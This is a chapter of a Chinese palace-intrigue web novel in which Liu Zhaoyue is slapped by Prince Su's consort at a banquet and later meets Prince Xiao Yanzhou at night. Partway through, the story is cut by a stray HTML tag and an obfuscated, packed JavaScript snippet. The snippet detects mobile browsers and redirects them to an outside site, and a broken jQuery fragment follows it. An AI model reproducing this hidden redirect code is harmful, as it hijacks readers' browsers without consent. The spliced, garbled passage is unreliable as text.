19. 月孤明

作品:《向未来皇帝骗个婚

    柳昭月找到齐映阳时。


    小姑娘正坐在院中的石凳上,低头背对她,没有察觉。院中的阳光斑驳地洒在她身上,空气中弥漫着一丝淡淡的宁静。


    柳昭月轻轻叩了叩门框,发出微弱的响声。


    齐映阳猛地转过身,眼中先是闪过一抹茫然,随即看到来人,忙手忙脚地站起身,面露惊讶喜色。


    “昭月姐姐,你怎么来了?”


    柳昭月原先还在担心,齐映阳是因被罚禁闭而错过了宴会,视线后移,看到她身后小桌上的书本时,顿时了然,也松了口气。


    “前厅那么热闹,怎么躲在这看书?”


    齐映阳不好意思地挠挠头,小声说:“因为没人跟我说话,去了也是自找没趣,不如自己待着舒服。”


    柳昭月十分自然地在小凳上坐了下来,翻开那本书。


    “孟子。”她略显惊讶,“你这个年纪能读懂吗?”


    齐映阳羞赧一笑:“读不太懂......不过慢慢学,总有一天能明白的。”


    两人聊了一会儿,气氛温和宁静。


    然而柳昭月不能离席太久,正欲起身跟齐映阳道别,院外突然传来一阵急促的脚步声。


    两人不约而同地抬起头,目光交汇,皆是面面相觑。


    刚站起身。


    齐韶敏带着两个丫鬟一阵风似的冲了进来,目光直勾勾地落在柳昭月身上。那眼神,恨不得将柳昭月身上的肉剜下来。


    柳昭月自是感觉到了目光中的不善,她和齐韶敏素日交情不深,也没有什么过节,下意识以为她的敌意大概来自柳璇宁的挑唆。


    行礼后,柳昭月还未来得及走上前询问,齐映阳先她一步出声:“你来这里做什么?”


    齐韶敏平日最看不惯她这个庶妹。


    粗鄙无礼也就罢了,竟还在她将要同肃王成婚之时,扮成男子去什么临南书院,害得她和她一同丢人现眼。


    没成想在女德堂待了这么久,竟还不知悔改。


    “你算个什么东西,我可没闲工夫来找你。”


    齐韶敏目光没有停留在齐映阳身上,而是走到柳昭月面前,冷笑一声,杂着几分轻蔑与警告:“我只想提醒柳姑娘一句。名门贵女,也该知廉耻,可别以为别人看不见,就偷着做些不要脸的勾当。”


    “肃王妃此话未免冤枉,既然如此看不惯我,倒不如直言了当,何必绕弯子?”柳昭月没有愠色,反而一脸淡然地看向齐韶敏,语气不急不缓。


    齐韶敏步步逼近,目光锐利地刺向柳昭月:“你还真是不知羞啊。”


    “给你留面子你不要,非得让我把话挑明?光天化日之下,和我夫君亲昵搂抱,不是蓄意勾引还能是什么?还敢在这里装得清高!”


    柳昭月心头一凛,原来是这事。


    然而这半瞬的迟疑,落在齐韶敏眼里,更像是被人道破后的哑口无言。


    她本来听了丫鬟的话心中还有两分不信,这下倏然气上心头:“你这个小贱人还真是勾引我夫君?当初你二叔母怎么没把你一块儿毒死!”


    柳昭月怔住,她僵在原地,不敢相信自己的耳朵。


    不等她反应,“啪”,一个巴掌就落在了脸上。


    火辣辣的痛感传来,柳昭月偏着头缓了片刻,却无暇顾及,而是看着齐韶敏喃喃问道:“你......说什么?”


    什么毒死?


    齐韶敏目光有一瞬闪躲,似是意识到刚才太着急,说错了话。


    齐映阳没空管两人说了什么,只见柳昭月被打,先是不可思议的呆滞半瞬,随即怒不可遏,冲上前去,毫不犹豫地用力推了把齐韶敏。


    “你竟然敢打我昭月姐姐!”


    齐韶敏没想倒她敢帮着外人对嫡姐不敬,根本没有提防,结结实实挨了一下,一个踉跄,猛地跌坐在地上。


    “嘶拉——”


    她低头,衣服在地上的石块上被刮出了一道裂痕。


    齐韶敏浑身发抖,一阵后怕。


    若再偏点,恐怕就会刮伤到她的小腿!


    齐韶敏的脸色瞬间变得异常难看,吩咐后面的丫鬟:“把这个小杂种给我捆起来!”


    她似是气急,口不择言。


    齐映阳虽算是小姐,但在家中素来没有地位,齐韶敏一发话,旁边的丫鬟虽犹豫,却也不敢违背,两人上去就把齐映阳按在地上。


    柳昭月猛然回过神,迅速冲到齐映阳身边,伸手拉住其中一个丫鬟的胳膊。


    “放开她。”


    那丫鬟不敢对柳昭月动粗,也不敢违抗齐韶敏的命令,几人就这样僵持着,整个小院乱作一团。


    忽然。


    一道低沉的声音闯了进来。


    “都住手!”


    肃王的身影出现在门口。


    眼前的场景让他脸色骤然一沉,又看见自己的王妃凌乱地坐在地上,心生顿时升起阵阵不悦。


    只是不知,这不悦是因为心疼,还是失了他的面子。


    东苑前厅内。


    肃王和齐家大夫人坐着,齐韶敏站在肃王旁边。


    王氏和柳璇宁匆匆赶来,走到柳昭月面前。她脸上红痕未消,低头不语,王氏满眼愠色,狠狠瞪了一眼,连带着柳璇宁也没什么好脸色。


    赵雪灵担心柳昭月,忙不迭跑进厅内,看见她脸上的伤,眼睛倏然就红了,刚想上前同齐韶敏理论,被紧随她其后的赵荣氏一把拉了回来。


    看着母亲皱着眉冲她摇头,赵雪灵只好作罢。


    厅内众人,站的站,坐的坐。


    只有齐映阳一人,跪在中央。


    她刚刚已经受过家法,两只手被板子打得浸出血痕,却一声没哭。


    肃王和齐家大夫人在几人赶到前,已经将来龙去脉弄清楚。


    齐映阳以下犯上,罪有应得。


    然齐韶敏动手打了人,本应也要惩罚。可肃王坐在这,齐家大夫人不好开口。


    其实她本也不愿女儿受罚,如今借着肃王护短,也能睁一只眼闭一只眼含糊过去。


    只是被打的人是柳昭月,王氏那边,她不免要解释两句。


    齐家大夫人起身,握住王氏的手,柔声道:“今日之事,不过是些口角之争,女儿家嘛,吵嚷几句再正常不过。小女一时失手,推搡间不慎伤到柳姑娘,还请王家妹妹不要见怪。”


    仅一句话,轻描淡写地将柳昭月也牵扯进了这摊浑水。若不知情的人,恐怕会误以为柳昭月也动了手。


    王氏好面子,见厅中人多,肃王坐在上头一言不发,她断不会为了柳昭月豁出去讨公道,便顺着台阶下了。


    “齐姐姐这说的哪里话。争吵两句,不打紧,反倒是怕给你们添了麻烦。”


    “......”


    她们在那边你一言我一语寒暄着,柳昭月只当没听见。


    她的视线一直落在齐映阳的背影上。她才十三岁,一团缩在那,没人撑腰。


    说到底,她是为自己出头,才落得这般下场。可自己却没有能力和身份为她辩驳。


    曾几何时,柳昭月以为只要冷静、隐忍,便能远离纷争与泥沼。但此刻才明白,若想保护身边之人,只靠这些,远远不够。


    众人散去后的东苑前厅,空荡安静,似乎刚才的纷争随着风消失,如同什么都未曾发生过。


    -


    璟王府书房内。


    松木和竹制的书架围绕,典籍和卷轴整齐地排列在上方。窗外绿树成荫,偶尔有微风吹动枝叶,轻轻拂过窗棂,带来一丝清凉。


    古朴棋桌上,萧砚舟正安静同宣王对弈。


    宣王是先帝的幼子,年少时便喜爱书画,性情温和,与世无争,身上只揽了个无关紧要的闲职。


    虽然无权势,但落得个清净自在。


    至少,他同谁交好,别人都不会怀疑他结党谋私。


    “你们璟王府到底丢了什么东西,值得你这么大阵仗,封了几条街去寻?我看你是躲懒不愿上朝,才故意想法子让御史在朝中参奏你,禁足几日,才正合你心意。”


    萧砚舟不置可否,语气不带波澜:“我不过是一久未归京的王爷,不上朝,自无太大影响。”


    宣王落下一子,闲谈道:“不过你这几日未出门,可错过了不少有趣的事。”


    萧砚舟视线落在棋盘之上,并未抬头。


    “说来听听?”


    “肃王近日不是新纳了个美貌侧妃,宝贝的不得了,连齐家设宴,他都跟着去了。没成想,竟然传出柳家大小姐在宴席上勾引肃王,被侧王妃发现,两人大打出手这样的奇事。”


    萧砚舟执棋的手微微一顿,面色却不显,黑子稳稳落下,他才开口:“于两家都不光彩的事,竟然都传到皇弟这里了。”


    “要不怎么说好事不出门呢。”宣王话锋一转,又问:“七日后郊外射猎,皇兄可打算大显身手啊?”


    射猎活动乃是每三年一度的盛事,历来皇室子弟、各大世家均可参与。


    猎场内野兽丛生,射猎者须在百步之内准确射中猎物。每次射猎,胜者不仅可得赏金,出众者甚至可获得御赐之物或直接赐官。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375394|150930||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    宣王提起此事时,萧砚舟的神色才微微波动。


    他微微勾唇,似乎意有所指:“那就要看赏赐是否丰厚了。”


    ...


    夜里,柳昭月喝过汤药,洗漱后上了塌。


    她靠坐着,闭上眼睛,稍感温热的药效在体内扩散,然而脑海中的纷扰依旧难以安抚。


    她这两日都在想,齐韶敏当时脱口而出的那句话,到底是何意。


    其实她心中已隐隐有了猜测,只是不愿去相信,或者说,不敢去相信。


    思绪纷乱时,杏儿端着药膏走了过来。


    “小姐,奴婢给您敷药。”


    杏儿坐在床边,轻轻将小姐的中裤卷起,一双白皙的小腿如瓷器般细腻,更显得那双红肿的膝盖,看起来触目惊心。


    自齐府回来后,王氏不听柳昭月辩白,让她去祠堂罚跪反省,一整日过去后,方才松口。


    杏儿看着,心中不禁一阵疼惜,小心翼翼将药膏按在膝盖上,生怕动作稍重,便会让小姐感到不适。


    “这是江郎中新调配的药方,想来会好得快些。”


    柳昭月点点头,若有所思片刻,吩咐道:“明日你去圣医堂请江郎中来府上一趟,我有事要问他。”


    杏儿应下。


    敷好药,柳昭月刚将衣衫整理躺下去,忽然院里传来窸窣响动,细细听来,竟然还有克制的说话声。


    她披衣起身,跟杏儿一同出去。


    刚踏入庭院,柳昭月愣在原地。


    两个不该出现在此处的人,此刻扭打在院中,裴子野已将云霄的双手反剪在背,狠狠地压在了地上。


    她失神片刻,急忙迈步走近,又生怕惊动府内其他人,低声呵斥:“你们两个,快住手!”


    裴子野闻声抬头,不情不愿地将云霄放开。


    云霄面色不服,起身拍去身上灰尘时,还不忘狠狠瞪裴子野一眼。


    柳昭月的目光在他们两人身上来回扫过,语气冰冷:“说,到底怎么回事?”


    “回——”


    “我刚——”


    两人同时开口,又同时停下。


    柳昭月沉了口气,愈发无奈。


    “云霄先说。”


    云霄微不可查地朝裴子野轻抬下巴,拱手回禀:“回姑娘,王爷此刻就在府外,请姑娘过去一见。”


    柳昭月愣住。


    萧砚舟?


    她又望向裴子野:“你呢?”


    “我刚才正昏昏欲睡,听见墙头有动静,以为进了贼人,没成想,竟是捉了个‘故人’。”


    柳昭月正色看他,语气淡淡:“我是问你,为何会在此处?”


    她明明吩咐过,让他们住在那处小院。没有她的命令,谁也不得擅自行动。如今看来,明摆着半句话都没放在心上。


    裴子野哑口无言,支支吾吾半天说不出半句话。


    “罢了,日后再跟你算账。”


    夏天的夜风带着些许闷热,偶尔吹过一阵清凉的风,随即又被酷热吞噬。


    柳昭月来不及梳妆,只是简单地穿上衣裳,将黑发随意束起。她并未佩戴任何珠饰,几缕发丝垂落在耳畔,素净的模样仿佛与这京城的繁华格格不入。


    周围没空旷无人,只有三人的脚步声回荡在空中。


    天幕星光稀疏,月亮被云雾轻轻拂过,透出一丝微弱的光芒,照在地面上,映出斑驳的影子。


    “小姐,王爷就在前面。”云霄停下脚步,适时伸手,拦住了欲跟上前的裴子野,低声道。


    柳昭月轻轻点头。


    萧砚舟站在松树下,仿佛已经融入了夜色。


    她走近后,微微一礼。


    萧砚舟扫了她一眼,未曾开口,只是将外衣脱下,随意搭在旁边的巨石上,随后坐在一旁,示意柳昭月也坐过来。


    柳昭月膝盖还隐隐作痛,能坐下固然是好,但眼前唯一可坐之处竟被萧砚舟的外衣占据。她怔愣在原地,一时摸不透他的意思。


    “愣着干什么,坐过来。”


    柳昭月微微低头,抬脚走过去,轻轻地坐在他外衣上。分明只是一层布料,却莫名有种不经意间的亲近。


    心跳不合时宜的纷乱。


    低下头,柳昭月尽力掩饰内心的波动,声音低得几乎可以随风消散:“以前殿下给我的印象,一直是礼数周全,矜贵得体,没想到还有如此随性的一面,才会愣住。”


    萧砚舟忽然低笑一声。


    “越阳偏远,没有这么大的规矩。只是到了京城,有些规矩不得不守。”